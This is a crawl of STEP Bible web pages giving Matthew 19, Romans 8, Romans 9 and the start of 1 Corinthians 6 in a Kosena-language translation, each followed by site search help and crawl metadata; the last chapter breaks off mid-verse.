aúnáiꞋa úmai maíꞋmaiꞋa ónáe sémo e Áánútuna ámáámba kaweꞋá umái kwaraaó súwana 18 mindákó áísaa ena séna nóin-amaana kwaránaumno súwana Ísu séna tínkamiyasamo puwónááoniꞋa íma uwó. íma aarai-úmóyámbá uwó. íma umóyámbá mayaaó. kampar-áímbá íma simátinkaao. 19 kentinóvowi túwíꞋa anómba uwó. esáváí-ímáyáámó óndantemba ená kwaásiti imáyáagwaraꞋa uwó. miráumai-amaamba kwaraaó Ísu súwana 20 mindákó séna minámáámbá kwaꞋmaéꞋa kwéiyumpo nóran-amaankona íma kaweꞋá kwéuno súwana 21 Ísu séna amápa-tantaaꞋo kanaamó émo e ená náaindaamba óꞋon-kwaasi kwétime óntamba mairé ímo makéwai tímatuwenana ená kaweꞋ-méyámbá Áánútu kwíyómpaꞋa ankáníye. tímatuwemo e kesínaaemba kwaráníyone súwana 22 mináímbá iséna sáwívaꞋ-naaindaamba makóntavena anón-imayaa úwana arunkó sáwíꞋa kwéuwana kuráiye.\n23 kúwana Ísu kwená kwayó-kwáásíyávéna séna áraiꞋa simátimeꞋa séꞋa sáwívar-oisambo makén-kwaasi Áánútumo kwená kwaásimo kawááipaꞋa kwíyamba umbaí táníye. 24 moórá-poigo áwíꞋa káámeri mimpóígó kwaigóná avaapimbá íma kanaán-umai kóveraniye. káámeri-poigomo kwaigóná avaapimbó kóverainkakai sáwívar-oisamba makén-kwaasi Áánútumo kawááipaꞋa kosinó Ísu súwasa 25 kwená kwayó-kwáásí mináímbá isésa táátavesa ésa sésa umbaí taintávésa nóran-kwaasiya Áánútumo kawááipaꞋa ménaaoo suwaná 26 Ísu tuwánéna séna kwaási miwítí mayáínéí íma meéyámbaresa kónááovo Áánútu amápa-tantaaꞋa úwoi kanaán-umai kwéiye súwana 27 Pítaa séna isaaó. kentáásí amápa-tantaaꞋa tuwéta enánaaemba kwégwaraumpo nóram-beyana mayánaumno súwana 28 Ísu séna áraiꞋa simátimeꞋa séꞋa Áánútu amápa-tantaaꞋa aúnáiꞋa úmaraindaraꞋa kemá kwaási úrandako kumpaáruraundawai ságayankwarawai méꞋa kárákwiyonaꞋa keinárawaꞋa sísamaivakemba kaeꞋá kumbaimái-kwaasi kesínaaemba kwégwaraawai Ísareri-kwaasi mayáíyávéꞋa tísaa ónááowe. Ísareri sísamaivakemba kaeꞋá kumbaimái tínkaraiwai-andarakewai tísaa ónááowe. 29 kentávésa imáyáa ésa Áánútun-aai kosimátimenaaontavesa naambáruꞋa tuwésa tuwaaísái tiyuwésa tíváꞋmaaꞋa tiyuwésa tímánaaꞋmaaꞋa tiyuwésa tinóvowi tiyuwésa táánimbaaꞋa tiyuwésa tiyáámúmbaaꞋa tiyuwésa miwítí maramá túwáawaina anondáma túwáan-tantaaꞋa mirán-tántááꞋá sáwívaꞋa mémaesa aúnáiꞋa umái kwíyómpaꞋa maíꞋmaiꞋa ónááowe. 30 ívéꞋa évakaꞋa aivakéwáí aáno tínaaeniꞋa íyasa ívéꞋa évakaꞋa tínaaenkewai aáno aivaríꞋa ónááowe Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.19","date":"2018-04-25T22:23:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947968.96\/warc\/CC-MAIN-20180425213156-20180425233156-00635.warc.gz","language":"kze","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999988079071045}","num_words":722,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.183,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 8\nÁánútun-amankomba arááímo kwétainiꞋa kwéon-kwasai.1 miráumai Ísu Káráísitiye tarúmai máyáawai miwítí sáwí-meyamba maitíyukaintavena Áánútu íma aaivimbá maitinkéna sáwí-meyamba íma timíníye. 2 ááéma sáwíta uráundawai tátokowata puwónaundawaiya ówánanaya Ísu Káráísiti iyásínkaraisata kweséya aúnáiꞋa umáíya máyaunanaya Áánútun-amanko kárákwiyisana Áánútu aaivimbá íma maisinkénaya íma sáwí-meyamba simíníye. 3 Áánútu kwená ámáámba siráimbanivo sáwíꞋa ónáe séta minámáámbá íma kanaán-umaiya kwakáunda póna minámáánkó sáwíta umáíya máyaundavinkemba íma síkaisata máyaunanaya naaémba Áánútu ááninkontavena séna sáwíꞋa kwéomba po miwíyáváí se kumpuwíníyone séna aiꞋmarówana kesáámó sáwíꞋo kwéundawaiyaamo úndanten-augwarawai maimaéna kentáásí sáwí-imayaamo maisiyuwáíndayavenaya kumpukáiye. 4 Áánútu mirá uráimba póta sáwí-imayaayavetaamo sirááíyavetaamo kwéunda ímo mirá kwéetaamo Áánútun-amankomo siráiniꞋo kwéetaamo éta Áánútuna ámáánko siráintemba miráyá umáíya arupíya ónaumne. 5 sáwí-imayaayavesamo tirááíyavesamo kwéowai miwítí sáwí-imayaago tátokaivo Áánútun-amankomba arááímo kwétainiꞋa kwéowai kwená kawer-ímáyáágó kwégarakwiyiye. 6 miwítí sáwí-imayaayavesamo tirááímo kwétain-imayaawe suꞋmai kwéowai máyáawaina ááimba Áánútuna némpaꞋa maíꞋmaiꞋa ónááovo Áánútun-amankombo arááímo kwétain-imayaawe suꞋmai kwéowai paru umái aúnáiꞋa umái maíꞋmaiꞋa ónááowe. 7 sáwí-imayaayavesa tirááíyavesa kwéon-imayaawe suꞋmai kwéowai Áánútuna ámáámba íma kanaán-umai taagwiyavésa Áánútuna namuro-kwáásíráámbá kwéowe. 8 sáwí-imayaayavesamo tirááímo kwétainiꞋo kwéowai Áánútu íma aamoí kwéumatinkaiye.\n9 Áánútun-amankomo kentirumpimbó máyáimbo éꞋa sáwí-imayaayaveꞋo tirááímo kwétainiꞋa íma kwéeꞋa Áánútun-amanko siráiniꞋa kwéeꞋa máyáawe. Ísu Káráísitin-amanko tirumpimbó ímo máyáiwai íma kwená kwaási-iꞋa kwéowe. 10 Ísu Káráísitin-amanko kentirumpimbó máyáimbo éna Áánútu kwenaúrankaꞋa arupí umátínkaraimba póꞋa kentimankó maíꞋmaiꞋa íníwai éꞋa sáwíꞋo uráantaveꞋa kentúgoma puwíníwaiman-owe. 11 Áánútu Ísumba pukáimpinkemba usásinankowana kwenamankómó kentirumpimbó máyáimbo éna keinárawakwaraꞋo éna puwónááompinkemba usásintinkaniye. kwenamankó kentirumpimbá máyáintavena Áánútu mirá íníye.\n12 kesí kwaásiyono. mináímbá imáyáa íyata íma kentáásí imáyáavinkeniꞋa éta Áánútun-amankombo arááímo kwétainita umáíya máéno. 13 sáwí-imayaayaveꞋo tirááíyaveꞋo kwéombo éna Áánútu séna máyáawaina ááimba Áánútuna némpaꞋa máéro siráivo Áánútun-amankomo túwaꞋnaa ínaꞋo sáwí-imayaamo tuwéꞋo éꞋa aúnáiꞋa umái ménaaowe.\n14 Áánútun-amankomo kwésintembo kwégwaraawai Áánútu áánimbaaꞋan-owe. 15 Áánútu kwenamankómbá aiꞋmarówana kentirumpimbá máyáiwai íma inkaisí-íꞋa umátínkáísana inkaisí-yántáákó íma tátokaisaꞋa máyáavo Áánútu áánimbaariꞋa umátínkáísaꞋa Áánútumba kwéaayeꞋa séꞋa kesivoó kwéseꞋa kwémaewe. 16 kesáá séta Áánútu áánimbaata úneyaamo kwésunda Áánútun-amanko kentáásirumpimba ména séna mindá árair-aimban-iye kwésiye. 17 Áánútuna iyámpói úndaya póta Áánútumo kentááyávénawe sénamo toꞋmayaa úmakaimba maimaéta Ísu Káráísitimo mayánínten-umaiya mayánaundayaawe. umbai-yántááꞋó kwempímbó kwáyontemba kentáávímbá umbai-yántááꞋá kwáyáimba póta naaémba kweséya ságayan-ayampaꞋa ménaundayaawe.\nÁánútu kwená óꞋora-sagayamba agaráásinkanin-kwasai.18 maarán-áímbá imáyáa éꞋa séꞋa áraiꞋa Áánútu kwená óꞋora-sagayamba agaráásinkainata mindáyaveta imáyáa kwéeta kentáávímbá kwáyáin-umbai-yantaataveta íma anón-imayaa kwéundayaawe. 19 Áánútu áánimbaare ayáámúmbaareya únasaya Áánútumo tarórurain-tantaako kwaí-kwaankowe taaigówé amápa-karaan-tantaakowe kentáámó suwánanaaontavesa mósá titaagwirésa amuꞋmarésa máyáawe. 20 naaóváꞋá Áánútu tarórurain-tantaatavena séna kampindágwiniye séna kwená imáyáavinkemba séna íma miwítí imáyáavinkemba siráimba maarán-ímáyáá éna séna 21 naaémba kampindáí-yántááꞋá aambá áúntinkaanana taróruraunda-yantaaꞋa óꞋa íma kampindámae iyíníye. kesí iyámpóímo iyátínkáanasamo kaweꞋó umáímo ménaaontemba mintántáákó miráumai kaweꞋá umái kwéniye Áánútu minímáyáá uráiye. 22 maarán-áíntá ísaraumne. aaraimó iyámpóímo tinkésamo eéséꞋó ontembá Áánútumo amápa-tantaaꞋo tarórurain-tantaako eéséꞋá kwéena Áánútumo paárinintavena amuꞋmaréna máyáiye. 23 íma Áánútumo tarórurain-tantaakowe suꞋmainivo kesáágwáráꞋá miráyá kwéeta Áánútumo toꞋmayaa úmakain-tantaaꞋo simíníntaveta imáyáa ónaundayavenaya Áánútu kwenamankómbá aiꞋmarówana kesirumpintá kumbáyáísata eésétá kwéeta amuꞋmaréta máyaunanaya Áánútu kwenayáámúmbaare kwenáánimbaare síkenaya aúná-kuwawaaꞋa umásinkanintaveta amuꞋmaréta máyaumne. 24 Áánútu kawer-ámpáꞋá mésinkonkaꞋa séta áraiꞋa Áánútuna iyámpóíya éta kweséya ménaumne séta amuꞋmaréta máyaumne. awánasuwaunda-yantaataveta íya amuꞋmaréta ímo awánáúnda-yantaataveta amuꞋmaréta ménaumpo 25 ímo awánáúnda-yantaataveta amuꞋmaréta méta séta áraiꞋa paáriniye séta íma sívón-káínata asiramái amuꞋmaréta ménaumne.\n26 íma asiramái-kwaasi méta kawer-ámpátá kwégunanaya umbai-yántáákó kwétatoraisana póna Áánútun-amanko kwésuwaꞋnaa-isata nóraumaiya Áánútumba áísaa onanayá súwaꞋnaa íníyo séta sirumpintá kanagíré suꞋmai téta íma kanaán-umai aaí kwésunanaya Áánútun-amanko kentááyávéna imáyáa éna ÁánútumpaꞋa aaí kwésisana 27 Áánútun-amanko Áánútumbo arááímo kwétain-aimba séna kwená kwaási-imayaa éna mirán-áímbá kwésimba póna Áánútu kentáásí imáyáa awánaiwai póna kwenamankómó sin-áímbá kwéisaiye.\n28 maarán-áímbá ísaraumne. kwená kwaási-iꞋa ónaundayavenaya ítámakaisata kwená imáyáa kwéeta máyaunanaya sáwí-yantaare kawe-tántááré kesópataamo timbá Áánútu mintántááꞋá kaweꞋá kwéumasinkaintaawe. 29 naaóváꞋá Áánútu kwendéí-íꞋa umái ítámakowaiyavena séna kesááninkaamba ónááowe siráimba póna kwenááninko Ísu kentáásuwaao-iꞋa isatá kwenáúnavarita úne. 30 naaóváꞋá ítámakowaiyavenaya sááyena kwenaúrankaꞋa arupí umásinkenaya kwenááninkaaniꞋa kwéumasinkaintaawe.\nÁánútu arumbá kwésimenaya Ísumba aiꞋmarówana kumpukáin-kwasai.31 Áánútu miráumai súwaꞋnaa uráimba póꞋa imáyáa éꞋa simátíménda ísáaro. sáwíꞋa umátinkanae sésayaamo mirámó ónááomba íma kanaán-umai kentáá usáyaaitanaaowe. 32 Áánútu kwenááninkomba íma tátorena kentáásí sáwí-imayaa maisiyuwáínkwáe sénaya aiꞋmarówana kumpukáiye. mirá uráimba póna súwaꞋnaa ínín-tantaaꞋa úwoi simíníntaawe. 33 Áánútu kentáá ítámakaiwaiya kwenaúrankaꞋa arupíya umásínkarainta pósa évakarawai íma kanaán-umai aaivimbá maisinkánááontaawe. 34 évakarawai kentááyávésa puwígwáe sésa íma aaivimbá maisinkánááowe. Ísu Káráísiti kentááyávénaya séna puwéna usásinena Áánútu ayáánúrapaꞋa asirayán-áyámpáꞋá ména kentáá súwaꞋnaa umai ÁánútumpaꞋa kwéaisaa-iye. 35 mirá kwéintavesa évakarawai íma kanaán-umai Káráísitiyeyaamo máyaundavakenta sírááwanaya Káráísiti kentááyávénaya íma auwinkéna kentáásí imáyáa íma kwétuwaiye. umbai-yántááꞋó kesópataamo tíndawe aosaambó kwisinkánááontaawe sáwíꞋo umásinkanaaontaawe sááimo sinkáníntaawe unáánkwátói-iyaainta ménaundayaawe évakarawaimo sínkamonaaontaawe puwónaundayaawe mirán-tántááꞋó kesópataamo tínímba Káráísitiyeyaamo máyaundavakenta íma kanaán-umai sírááwanaya Káráísiti kentááyávénaya íma auwinkéna kentáásí imáyáa íma kwétuwaiye. 36 naaóváꞋá Áánútun-aai aúváí-kwandaaivimba agaimaréna séna\nená kwaásiya úndarakemba évakarawai kentááyávésa sésa tínkamonasa puwígwáe-imayaa úmae kwéiyowe. sipisípimo tuvúwówanamo púwíntemba kentááyávésa tínkamonasa puwígwáe kwésimae íyówe\nagaimaréna siráiye. 37 mirá-sáwíꞋó umásínkáanta íma imáyáa únanaya Ísu Káráísiti arumbá kwésimimba póna asiramásínkáísata miwí kwéusayaaitaundayaawe. 38 maarán-áímbá árair-aimba isaꞋá ísaraumne. Áánútu arumbá kwésimenaya Ísóigo Ísu Káráísitimba aiꞋmarówana kentááyávénawe séna kumpukáimba pósa ÁánútunopaꞋo máyaundavakenta íma kanaán-umai kwésiraantaawe. puwónaundayaawe úwoi máyaundayaawe ÁánútunopaꞋo máyaundavakenta íma kanaán-umai kwésiraantaawe. kwíyómpaken-kwayoꞋnaraware taraváá-kwáné ívéꞋo kwáyáin-tantaare naaémbo paárinin-tantaare kwíyómpakewaiye kwaántá-kwaasiti máápakewaiye Áánútumo tarórurain-tantaare mirán-tántáátónkó íma kanaán-umai ÁánútunopaꞋo máyaundavakenta sírááwanaya Áánútu kentááyávénaya íma auwinkéna kentáásí imáyáa íma kwétuwaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rom.8","date":"2018-04-23T17:45:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946120.31\/warc\/CC-MAIN-20180423164921-20180423184921-00501.warc.gz","language":"kze","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999980926513672}","num_words":939,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 9\nPóro Ísareri-kwaasi arumbá umátínkarain-kwasai.1 kemá Póro Ísu Káráísitina kwaásima éꞋa árair-aine suꞋmai kwésunana Áánútun-amanko kesirumpimbá ména kárákwiyisaꞋa maarán-áímbá árair-aimba kwésimatimune. 2 kesí kwaási Ísareri-kwaasivinkembo kemá tiráunda isaꞋá imáyáa únana sirumbá kwéisana sirunkó umbaí támae kwéiyiye. 3 miwí Ísu Káráísitin-aaiyavesa íma áraire sembá pósa árairemo sésamo kesí anondámo usámaiyanamo Áánútumo siyuwáínanamo Ísu Káráísitimo ánaaembo umásiyuwanimba mindá kanaániye kwésune. 4 miwí kesí kwaási Ísareri-andarakewai Áánútu kwenáánimbaariꞋa umái ítámakena kwená ságayamba agaráátinkena aaimá simái tarútinkena kwená ámáámba simátimena simái asirámakain-aimba simátimena Áánútuna imáyáamo mósá kwémaraan-amba agaráátinkowasa 5 ááéraan-anon-kwaasi miwí tíkwáꞋnáma uwaná Ísu Káráísiti iyámpói aúꞋmái miwítí ándávaꞋa kumbéna amáparawairaꞋa kárákwiyisata kwenáwíta mósá maꞋmaéta kwéiyunda mindá árair-aimban-iye.\n6 Áánútu Ísareri-andaraken-kwaasivinkemba íma amápaꞋa ítámakaivo évakarawai ítámakaimba Áánútu asirámakain-aimba arááíraiye íma seénáisaiye. 7 Ááváramu aísaavutantamba uráawai íma amáparawain-ovo évakaꞋa Áánútuna iyámpói owaná naaóváꞋá Áánútu Ááváramuntavena séna enááninko áwíꞋa Áísákaa kwenaísaavutantamba ónááowaiye suꞋmaiyavena séna enaísaavutantamba kwéowe sénááowe Áánútu siráiye. 8 mináínkóná ááimba maarán-áímbán-iye. Ááváramu aísaavutantamba uráawaivinkemba íma amáparawain-ovo Áánútu kesí kwaásima owémó asiramáímo siráiwaiye suꞋmai Áánútuna kwaásiman-owe. 9 naaóváꞋá Áánútu Ááváramuntavena simái asirámakain-aimba séna súnda-kanaama tínaꞋa máyáanana Séraa inaamaí-íyámpóí ankáníye sirómba 10 mináímbá kentáá síkwáꞋnáma Áísákaantavena siráiye. kwemá anón-éna aaraí mayówana awainínkó áwíꞋa Árépéka agováraer-iyampoi 11 íma tínkaroyasarai miníyámpóíráí íma mayáí mairóyankaꞋa 12 Áánútu minínínkóntávéna séna ená iyámpóíraimo ésarai aivakéwáí naaén-iyampoigona mayáí mayáníye siráiye. Áánútu kwená imáyáavinkemba kwená kwaási-iꞋa umái ítámarena tááyaraivo miwítí mayáí íma awánarena tááyaraiye. miráumai naaóváꞋá séna ená iyámpóíraimo ésarai aivakéwai naaén-iyampoigona mayáí mayáníye siráiye. 13 Áánútun-aai aúváívimba miníyámpóíráíyávéna agaimaréna séna\nYákópomba ítámareꞋa Ísomba\nsínaaemba umámune Áánútu siráiye\nagaimaréna siráiye.\n14 évakarawai mindáyavesa imáyáa ésa kampaꞋá sésa Áánútu íma arupí kwéiyemo kwésemba mindá kampar-áímbán-iye. 15 naaóváꞋá Áánútu Mósesintavena séna\nsirumbá umátinkanae súndawaiyaveꞋa sirumbá kwéumatinkaumne. kaweꞋá umátinkanae súndawaiyaveꞋa mirá kwéune\nsiráiye. 16 miráumai kwaási tiráái kwétaintavenawe kwaási kaweꞋ-máyáí kwémayaantavenawe ímanivo Áánútu kwená imáyáavinkemba séna sirumbá umátinkanae siráintavena kwená kwaási-iꞋa umái kwéitamaraiye. 17 Áánútun-aai aúváí-kwandaaivimba agaimaréna séna\nMósesi máyonkaꞋa Ísípi-maravaꞋa kárákwirowai kwentávéna Áánútu séna amápaꞋ-maravaken-kwaasi kesí asirayándéímó enaneꞋó úndama awánésa kesúwíꞋa isáígwáe séꞋa embá kárákwiyi-mayairaꞋa usásinankaraumne Áánútu siráiye\nagaimaréna siráiye. 18 miráumai Áánútu kwená imáyáavinkemba kwembó arááímo tainíꞋo énamo sirumbá umátinkanaemo simbá arumbá umátinkena kwembó arááímo tainíꞋo énamo tiruntémó máráaniꞋo imbá tiruntémá máráaniꞋa kwéumatinkaiye.\nÁánútu áwááꞋa tiyéna arumbá umátinkenamo in-kwásáí.19 mindáyaveꞋa imáyáa éꞋa maarán-áímbá íma seró. sáwíta kwéundaya nóra séna Áánútu aaivintá kwémaisinkaiyo. Áánútu imáyáa éna séna sáwíꞋa ónááowe siráimba mindáya sáwíꞋa kwéundayaawe. miráumai aaivimbó kwémaisinkainta mindá sáwíꞋa kwéiye mináímbá íma seró. 20 keinárawaꞋa úwoi-kwaasi máyáavo Áánútumo siráinda-aimba anondá íma seró. maarán-áímbá imáyáa oró. sawei-ánáveumba ombá karíꞋ-márámá mairésa sawei-ánáveumba úmaraawana misáwéí-ánáveunko íma maarán-áímbá séna nóra éra kembá mirá kwéumasinkaao íma kwésiye. 21 sawei-ánáveumbo ombá mimbórá-káríꞋ-márámá mairésa kaer-ánáveumba úmaresa moórávimba úwoi-mayai maésa moórávimba kaweꞋ-máyáí kwémayaamba mindá miwínéímán-iye.\n22 Áánútu miráráámbá kwéiye. Áánútuna asirayáné áwááꞋo kwésine awánanaaontavena sáwíꞋo uráan-kwaasimo tínkaminimba miwítí meéyámbá póna ááéma íma tínkamimba timuꞋmaréna ména naaémba tínkaminiye. 23 kentáá ítámarenaya arumbá umásínkáinta póta kweséya ságayan-ayampata méta kwená óꞋoran-kaweꞋ-mayai awánanaundayavenaya Áánútu sáwíꞋo uráan-kwaasi íma ááéma tínkamimba timuꞋmaréna máyáiye. 24 íma Yútaa-kwaasivinkene suꞋmaiya sááyaraivo óꞋonkaa-kwaasigwaraꞋa tááyaraiye. 25 miráumai naaóváꞋá Áánútun-aai simátímakowai áwíꞋa Ósíya agaimaréna séna\nÁánútu séna íma kesí kwaási-iꞋa uráan-kwaasiyaveꞋa kesí kwaásiman-owe séꞋa ímo sirumbó tímakaundayaveꞋa sirumbá kwétimune sénaumne. 26 íma kesí kwaásiman-owe siráundavaꞋa máyáawaiyaveꞋa naaémba kesáánimbaaꞋan-owe sénaumne Áánútu asirayánkwáráwáí síníye\nÓsíya agaimaréna siráiye. 27 naaóváꞋá Áánútun-aai simátímakowai áwíꞋa Áísáya agaimaréna séna\nÍsarerin-andaraken-kwaasi sáwívaꞋa ésa nonáámááíraamba umái sáwíva-kwaasi ménaaovo Áánútu íma amápaꞋa tiránívo évakaꞋa sáwíꞋo umái máyáampinkemba tiráníye. 28 Ísóigo amáparawai avekáán-umai aaivimbá maitinkéna sáwí-meyamba tímatuwaniye\nagaimaréna siráiye. 29 moórávaꞋa Áísáya agaimaréna séna\nÍsóigo amápar-asirayambo tokáiwaimo sénamo évakarawai íma tínkamonda tiyúwáanasa mésa iyámpói tinkánááowe siráinkakai Sótómu-naopaken-kwaasiye Kómóraa-naopaken-kwaasiyemo putásaraantemba kesáágwáráꞋá miráyá úsino\nagaimaréna siráiye.\nÍsareri-kwaasi Ísun-aaiyavai íma áraire siráan-kwasai.30 mináínkóná ááimba maarán-áímbán-iye. óꞋonkaa-kwaasi Áánútu aúrankaꞋa arupí umáímo máyáan-ambo ímo avakáá uráawai Ísu Káráísitin-aai isésa sésa áraire siráamba póna Áánútu kwenaúrankaꞋa arupí umátínkaraiye. 31 miwí mirá uráavo Yútaa-kwaasi Áánútu ítámakaiwai sésa Áánútu Mósesimbo simámakain-amaamba kwáráananaya kwenaúrankaꞋa arupíya umásinkaniye siráavo Áánútu Mósesimbo simámakain-amaankona ááimba íma isésa kwenaúrankaꞋa íma arupí umái máyáawe. 32 Áánútuna ámáámba kwáráananaya kwenaúrankaꞋa arupíya umásinkaniye siráavo kwenááiyavesa íma áraire siráantavena íma arupí umátínkaraiye Áánútun-aai aúváí-kwandaaivimba Ísuntavena simái agaimaréna séna\nÁánútu séna ísáaro. Sáíyono-naopaꞋa moórá-ontamba maráúnda pósa minóntánkáꞋá tísamaima turarésa tanaambá vánááowe. óntantavenamo siráintembo íníwaimpaꞋo agevamáímo ménaaowai íma tigaeyávésa ónááowe siráiye\nmináímbá agaimaréna siráiye. óntanemo siráimba Ísuntavena siráiye. óntankaꞋo tanaambó vaantembá Ísu Káráísitin-aai araaisésa miráumai tanaankáámbá varáꞋnaumai máyáawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rom.9","date":"2018-04-23T17:46:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946120.31\/warc\/CC-MAIN-20180423164921-20180423184921-00502.warc.gz","language":"kze","language_score":0.9999986887,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999986886978149}","num_words":826,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corinthians 6\nÍsóigona kwaásivimbo umbai-yántááꞋó kwáínda arupí umátínkáaro siráin-kwasai.1 moórá-aimbo sáwíꞋo kwéomba simátíménda ísáaro. keinárawapinkemba évakarawai sáwíꞋo ombá ímo ÁánútunopaꞋo tiráan-anon-kwaasitopaꞋa mátínkareꞋa aaivimbá maitínkáamba sáwíꞋa kwéovo Áánútuna kwaásiti anón-kwaasiraꞋa mátínkareꞋa iséise éꞋa arupí umái máéro. 2 naaémba Áánútuna kwaási anón-kwaasi-iꞋa ésa amápaꞋ-maravaken-kwaasi táái isésa kaweꞋ-máyáíyé sáwí-mayaiye sésa taaínkaar-esa naaémba mirá ónááovo ívéꞋa sáwíyan-aimba kanaán-umai iséise éꞋa arupí umái máéro. 3 naaémba kwíyómpaken-kwayoꞋnarawa táái isánááomba mindá anón-tantaaꞋan-ivo marapáꞋó máyáan-kwaasi tááimo arupí ónááomba mindá sáwíyan-tantaaꞋan-iye. 4 moórá-yantaaꞋo arupí ónáe séꞋo éꞋa Áánútuna kwaásivimbo túwíꞋo ímo kwáyainda-kwaasiyaveꞋa arupí umásínkáaro íma séꞋa túwíꞋo kwáyaindawaiyaveꞋa arupí umásínkáaro seró. 5 sáwíꞋa kwéune séꞋa misáwíꞋó kwéomba ivátuweꞋa kaweꞋá ónááontaveꞋa maanáímbá kwéagayaumne. keinárawaꞋa séꞋa kawer-ímáyáágwárá-kwáásíyá úne kwésembanivo íma aaí ísámai arupí kwéumatinkaavo 6 Áánútun-aaiyavesa ímo áraire siráawairaꞋa mátinkeꞋa séꞋa moórá-aimba arupí umásínkáaro séꞋo kwéomba mindá sáwíꞋan-iye.\n7 ÁánútunopaꞋo ímo tiráan-kwaasiraꞋo mátinkeꞋa aaivimbá maitínkáamba sáwíꞋa éꞋa Áánútuna aambá íma kaweꞋá umái kwégwaraawe kwésune. kentí anón-kwaasimo ísátinkaiyan-ainkomo éna ayááímó úwoimo kwénimba mindá kítokaꞋa sáwíꞋan-ivo ÁánútunopaꞋo ímo tiráan-kwaasitopaꞋo aaivimbó maitínkáamba mindá anómba sáwíꞋan-iye. 8 mirámó ombá Áánútuna kwaási kentíváꞋawaawi sáwíꞋa kwéumatinkeꞋa kentúwíkwaraꞋa sáwíꞋa kwéowe.\n9 sáwíꞋo kwéowaimo Áánútumo kárákwiraipaꞋo ímo kónááowaimo ontembá kwéowe. kampar-ímáyáá íma éꞋa simátimunda-aimba ísáaro. aarai-úmóyáné kwaai-úmóyáné ésa marapá-tántáátávésa aamoí ésa Áánútuntavesa íma aamoí ésa kwaaí keíyái kesuwainíné sisaná kesuwairé sésa sáwíꞋa úmae nááówasa aaraí miráumai keíyái sáwíꞋa úmae kwénaaesa 10 umóyámbá ombá túran-anda ésa uwoꞋaóꞋ-nómbá nésa uwoꞋaóꞋá ésa simái túwíꞋa sáwíꞋa umátinkesa kwétinkamesa umóyámbá ésa mirámó kwéon-kwaasi Áánútu kárákwiraipaꞋa íma kónááowe. 11 keinárawapinkemba évakarawai mirámó uráan-kwaasiraaniꞋa kwéombanivo kentáásí Áánútun-amanko Ísóigo Ísu Káráísitina asirayándéí misáwí-yántááꞋá maitiyuwéna Áánútundei-iꞋa umátinkena kwenaúrankaꞋa arupí umátínkaraiye.\ntúwawaaꞋnei Ísóigona mayáí mayánááon-kwasai.12 keinárawapinkemba évakarawai séꞋa amáparitaamo kwéundaya kanaán-iye kwésevo kemá séꞋa évakariꞋo kwéomba íma kaweꞋá kwéumatinkaiye séꞋa moórá-aimba amápariꞋo kwéunda kanaán-ivo évakariꞋo kwéunda miwá kembá tátoranintaveꞋa aꞋáo 